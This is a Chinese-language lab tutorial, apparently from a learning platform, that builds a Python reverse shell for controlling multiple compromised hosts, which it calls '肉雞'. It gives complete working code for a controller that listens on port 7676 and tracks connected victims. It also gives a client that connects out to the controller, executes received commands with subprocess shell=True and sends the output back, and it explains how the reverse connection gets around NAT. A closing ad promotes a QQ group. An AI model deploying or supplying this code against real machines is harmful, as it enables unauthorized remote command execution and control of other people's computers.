一、初識 瞭解TCP協議瞭解C/S結構程式設計Python socket模塊的使用Python subprocess模塊的使用 二、理論基礎 以下內容整理自百度百科,參考鏈接: TCP(傳輸控制協議)2.1 C/S結構程式設計 C/S 結構,即大家熟知的客戶機和伺服器結構。它是軟體系統體繫結構,通過 ...
一、初識
1.1 用 Python 實現一個可以管理多個肉雞的反向 Shell,為什麼叫反向 Shell 呢?反向就是肉雞作為 Client 主動連接到我們的 Server 端,以實現對多個遠程主機的管理!
學習技能:
瞭解TCP協議
瞭解C/S結構程式設計
Python socket模塊的使用
Python subprocess模塊的使用
1.2效果圖
二、理論基礎
以下內容整理自百度百科,參考鏈接:
C/S結構
TCP(傳輸控制協議)
2.1 C/S結構程式設計
C/S 結構,即大家熟知的客戶機和伺服器結構。它是軟體系統體繫結構,通過它可以充分利用兩端硬體環境的優勢,將任務合理分配到Client端和Server端來實現,降低了系統的通訊開銷。目前大多數應用軟體系統都是Client/Server形式的兩層結構,由於現在的軟體應用系統正在向分散式的Web應用發展,Web和Client/Server 應用都可以進行同樣的業務處理,應用不同的模塊共用邏輯組件;因此,內部的和外部的用戶都可以訪問新的和現有的應用系統,通過現有應用系統中的邏輯可以擴展出新的應用系統。這也就是目前應用系統的發展方向。
本次實驗就是基於C/S結構的一個應用。很多有名的遠程式控制制工具都是基於C/S結構開發的,比如:灰鴿子、冰河、teamViewer等等。但是我們應該將肉雞端作為Server還是Client呢?通常情況下是將Client作為控制端,Server作為被控端。這裡我們將採用反向連接的方式,將Server作為控制端,Client作為被控端。當然,這兩種方式都可以實現我們本次實驗的功能。這裡我採用反向連接的方式主要是考慮到肉雞在內網中,我們是無法直接連接到被控端的。如果用反向連接的方式,儘管被控端在內網中,只要我們不在內網中,或者我們做了內網埠映射、動態功能變數名稱等處理之後,被控端都是可以連接到主控端的。雖然我們在內網中也要進行相應的設置,不過主動權在我們這裡總比被控端需要設置這些更方便。
2.2 TCP(傳輸控制協議)
TCP提供一種面向連接的、可靠的位元組流服務。面向連接意味著兩個使用TCP的應用(通常是一個客戶和一個伺服器)在彼此交換數據包之前必須先建立一個TCP連接。這一過程與打電話很相似,先撥號振鈴,等待對方摘機說“喂”,然後才說明是誰。在一個TCP連接中,僅有兩方進行彼此通信,而且廣播和多播不能用於TCP。由於這裡需要傳輸的數據量比較小,對傳輸效率影響不大,而且Tcp相對來說比較穩定!所以本次實驗課程將採用Tcp協議來實現多客戶端的反向Shell。
2.3 可控制肉雞反向Shell實現方案
本次實驗將基於Tcp實現一個C/S結構的應用,Client作為被控端主動連接控制端,Server作為控制端則等待肉雞連接。具體實現方案如下:
Server(控制端)
Server作為控制端,我們首先要用Python的Socket模塊監聽本地埠,並等待被控端連接,由於我們要實現多個肉雞的反向Shell,所以我們需要 維護連接的主機列表,並選擇當前要發送命令的肉機,接下來我們就可以通過socket給指定的主機發送Shell命令了。
Client(被控端)
Client作為被控端,首先我們要通過Python的Socket模塊連接到控制端,之後只要一直等待控制端發送Shell命令就可以了,當接收到控制端發送的命令之後,用Python的subprocess模塊執行Shell命令,並將執行命令的結果用socket發送給控制端。
三、代碼實現
看了上面這麼多理論知識,同學們是不是覺得有些厭煩了?別急,現在同學們就跟著我的思路來看一下代碼的實現過程。另外說一下,在這裡我可能會把被控端叫作肉雞,意思其實是完全被我們控制的主機。在這裡我們可以把肉雞(機)和被控端當成一回事來看待,因為你能獲得主機的Shell一般就可以完全控制這台主機了。
3.1 控制端(Server)
控制端需要實現等待被控端連接、給被控端發送Shell命令,並且可以選擇和切換當前要接收Shell命令的肉雞(被控端)。所以,首先我們需要創建一個socket對象,並監聽7676埠,代碼如下:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 創建一個Tcp Socket
s.bind(('0.0.0.0',7676)) #綁定7676埠,並與允許來自任意地址的連接
s.listen(1024) #開始監聽埠
可能大家都比較熟悉socket的用法,這裡我只說一下創建socket對象時兩個參數的含義,一般我都會在代碼的註釋中同時解釋每段代碼的含義。socket.AF_INET代表使用IPv4協議,socket.SOCK_STREAM 代表使用面向流的Tcp協議,也就是說我們創建了一個基於IPv4協議的Tcp Server。 接下來當有肉雞連接的時候我們需要獲取肉機的socket,並記錄起來,以便和肉雞進行通信。我們先來看下代碼:
def wait_connect(sk):
global clientList
while not quitThread:
if len(clientList) == 0:
print('Waiting for the connection......')
sock, addr = sk.accept()
print('New client %s is connection!' % (addr[0]))
lock.acquire()
clientList.append((sock, addr))
lock.release()
當有多個肉機連接到控制端時,我們要記錄肉機的socket對象,以便我們可以選擇不同的操作對象,我們再來看一看是怎樣實現選擇已經連接的肉機,代碼如下:
clientList = [] #連接的客戶端列表
curClient = None #當前的客戶端
def select_client(): #選擇客戶端
global clientList
global curClient
for i in range(len(clientList)): #輸出已經連接到控制端的肉機地址
print('[%i]-> %s' % (i, str(clientList[i][1][0])))
print('Please select a client!')
while True:
num = input('client num:') #等待輸入一個待選擇地址的序號
if int(num) >= len(clientList):
print('Please input a correct num!')
continue
else:
break
curClient = clientList[int(num)] #將選擇的socket對象存入curClient中
通過記錄已經連接肉雞的socket,並將選擇的socket賦值給curClient就實現了多客戶端的選擇。 現在我們就可以實現命令的發送和接收了:
def shell_ctrl(socket,addr): #負責發送Shell命令和接收結果
while True:
com = input(str(addr[0]) + ':~#') #等待輸入命令
if com == '!ch': #切換肉機命令
select_client()
return
if com == '!q': #退出控制端命令
exit(0)
socket.send(com.encode('utf-8')) #發送命令的位元組碼
data = socket.recv(1024) #接收反回的結果
print(data.decode('utf-8')) #輸出結果
這裡有一點需要註意一下,這裡我們對接收和發送統一都用utf-8進行編碼和解碼,同樣在客戶端中也採用同樣的編碼才會保證接收和發送的結果正確。至於發送命令這部分主要就是等待用戶輸入命令然後判斷是不是切換肉雞或者是退出命令,如果不是就把命令發送給客戶端。到此我們的控制端基本的組成部分就實現完成了!
3.2 被控端(Client)
被控端需要實現連接到控制端、執行控制端發送過來的命令並將執行命令後的結果發送給控制端。與控制端相比被控端要簡單的多,下麵我們就用一個函數來實現上面我們提到的功能,代碼如下:
def connectHost(ht,pt):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #創建socket對象
sock.connect((ht,int(pt))) #主機的指定埠
while True:
data = sock.recv(1024) #接收命令
data = data.decode('utf-8') #對命令解碼
#執行命令
comRst = subprocess.Popen(data,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
#獲取命令執行結果
m_stdout, m_stderr = comRst.communicate()
#將執行命令結果編碼後發送給控制端
sock.send(m_stdout.decode(sys.getfilesystemencoding()).encode('utf-8'))
time.sleep(1)
sock.close()
通過這一個函數就實現了被控端的所有功能,是不是很簡單?這個函數的核心其實就是subprocess.Popen()這個函數,這裡我簡單介紹一下。subprocess.Popen()可以實現在一個新的進程中啟動一個子程式,第一個參數就是子程式的名字,shell=True則是說明程式在Shell中執行。至於stdout、stderr、stdin的值都是subprocess.PIPE,則表示用管道的形式與子進程交互。還有一個需要註意的地方就是在給控制端發送命令執行結果的時候,這裡先將結果用本地系統編碼的方式進行解碼,然後又用utf-8進行編碼,以避免被控端編碼不是utf-8時,控制端接收到的結果顯示亂碼。
至此我們就將控制端和被控端都實現完了,代碼很容易理解,代碼量也不多。下麵我們來整合全部代碼!
四、完整代碼
本節將會展示完整代碼,在 /home/shiyanlou/ 目錄下新建 server 文件夾
4.1 控制端
在 /home/shiyanlou/server 目錄下新建 server.py文件,並向其中寫入如下代碼:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
import threading
clientList = [] #連接的客戶端列表
curClient = None #當前的客戶端
quitThread = False #是否退出線程
lock = threading.Lock()
def shell_ctrl(socket,addr):
while True:
com = input(str(addr[0]) + ':~#')
if com == '!ch':
select_client()
return
if com == '!q':
quitThread = True
print('-----------------------* Connection has ended *--------------------------')
exit(0)
socket.send(com.encode('utf-8'))
data = socket.recv(1024)
print(data.decode('utf-8'))
def select_client():
global clientList
global curClient
print('--------------* The current is connected to the client: *----------------')
for i in range(len(clientList)):
print('[%i]-> %s' % (i, str(clientList[i][1][0])))
print('Please select a client!')
while True:
num = input('client num:')
if int(num) >= len(clientList):
print('Please input a correct num!')
continue
else:
break
curClient = clientList[int(num)]
print('=' * 80)
print(' ' * 20 + 'Client Shell from addr:', curClient[1][0])
print('=' * 80)
def wait_connect(sk):
global clientList
while not quitThread:
if len(clientList) == 0:
print('Waiting for the connection......')
sock, addr = sk.accept()
print('New client %s is connection!' % (addr[0]))
lock.acquire()
clientList.append((sock, addr))
lock.release()
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',7676))
s.listen(1024)
t = threading.Thread(target=wait_connect,args=(s,))
t.start()
while True:
if len(clientList) > 0:
select_client() # 選擇一個客戶端
shell_ctrl(curClient[0],curClient[1]) #處理shell命令
if __name__ == '__main__':
main()
4.2 被控端
在 /home/shiyanlou/server 目錄下新建 client.py文件,並向其中寫入如下代碼:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
import subprocess
import argparse
import sys
import time
import threading
def connectHost(ht,pt):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ht,int(pt)))
while True:
data = sock.recv(1024)
data = data.decode('utf-8')
comRst = subprocess.Popen(data,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
m_stdout, m_stderr = comRst.communicate()
sock.send(m_stdout.decode(sys.getfilesystemencoding()).encode('utf-8'))
time.sleep(1)
sock.close()
def main():
parser = argparse.ArgumentParser() #命令行參數解析對象
parser.add_argument('-H',dest='hostName',help='Host Name')
parser.add_argument('-p',dest='conPort',help='Host Port')
args = parser.parse_args() #解析命令行參數
host = args.hostName
port = args.conPort
if host == None and port == None:
print(parser.parse_args(['-h']))
exit(0)
connectHost(host,port) #連接到控制端
if __name__ == '__main__':
main()
我在被控端的main()函數中使用了命令行解析模塊argparse,有不懂得怎麼用的同學,可以看一下我的另一個課程Python 實現 FTP 弱口令掃描器,或者查看Python的官方文檔,來學習argparse的用法。
至此我們的代碼就全部完成了!當然這隻是反向Shell的核心,如果同學們對反向Shell有興趣,可以繼續完善想要的功能。
五、程式測試
現在我們來測試我們的程式是否達到了我們想要的功能。在編寫好代碼之後首先運行我們的控制端腳本,效果如下圖所示:
控制端腳本運行之後首先會等待被控端的連接,只有被控端連接之後,我們才可以對控制端進行命令的輸入。所以,同學們快跟著我把被控端腳本運行起來吧!運行後的效果如下圖所示:
忘了告訴大家了,被控端運行是需要給定要連接的ip地址和埠號的,如果運行時給的參數不全,會提示你參數的幫助信息。這樣做也是方便被控端可以連接到不同地址的主機。這回我運行被控端腳本的時候可千萬別忘了加上參數了!這裡我們都是在實驗樓的實驗環境中測試,所以我們就連接本地地址127.0.0.1和控制端監聽的埠7676。運行之後讓我們看一下控制端是否可以看到有新的連接加入!控制端效果如下圖所示:
可以看到控制端已經知道有新的連接加入了,並且提示我們選擇一個client,目前只有一個連接,我麽那隻能選擇提示的序號0,不過我們這裡要先測試一下輸入超出範圍的序號會有怎樣的結果:
輸入序號1之後提示我們輸入一個正確的序號,好吧!現在我們就輸入一個提示的序號0,看看會有什麼結果:
終於看到我們想要的界面了,現在我們就可以進行命令的輸入了!開始吧,輸入一個大家都比較熟悉的命令ls /:
可以看到程式確實返回了正確的結果,接下來同學們就來試試自己熟悉的命令吧!在學習Python的過程中,往往因為沒有資料或者沒人指導從而導致自己不想學下去了,因此姐姐我特意準備了個群 592539176 ,群里有大量的PDF書籍、教程都給大家免費使用!不管是學習到哪個階段的小伙伴都可以獲取到自己相對應的資料!
六、總結
通過本次實驗的學習,我們應該掌握以下知識點:
socket服務端程式的編寫方法
socket客戶端程式的編寫方法
利用Python的subprocess模塊執行Shell命令
反向Shell的基本實現思路
七、參考文獻
《Python絕技--運用Python成為頂級黑客》
《Python黑帽子-- 黑客與滲透測試編程之道》